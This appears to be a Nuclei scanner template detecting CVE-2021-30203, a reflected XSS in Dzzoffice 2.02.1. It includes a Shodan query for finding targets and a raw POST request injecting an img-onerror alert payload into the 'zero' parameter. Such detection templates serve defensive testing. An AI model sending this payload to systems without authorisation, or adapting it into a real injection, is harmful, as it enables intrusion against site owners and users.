漏洞描述
Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
id: CVE-2021-30203
info:
name: Dzzoffice 2.02.1 - Cross-Site Scripting
author: arafatansari
severity: high
description: |
Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
reference:
- https://github.com/zyx0814/dzzoffice/issues/183
- https://nvd.nist.gov/vuln/detail/CVE-2021-30203
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2021-30203
epss-score: 0.01296
epss-percentile: 0.79065
cwe-id: CWE-79
cpe: cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.html:"dzzoffice"
product: dzzoffice
vendor: dzzoffice
tags: cve,cve2021,dzzoffice,xss,vuln
http:
- raw:
- |
POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
id=%23&nouser=0&moderator=0&zero=<img+src=x+onerror=alert(document.domain)>&stype=0&range=0&showjob=0
matchers-condition: and
matchers:
- type: word
words:
- '"text":"<img src=x onerror=alert(document.domain)>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100831f0f6e0a82f15c358abf1704ef8f0c3c3ea2c0646e4ad07ee38300485f2ec6022024c84665b028b60e2ba81db193c0129d2e91b58f52d261888d1fd0c2108228f4:922c64590222798bb761d5b6d8e72950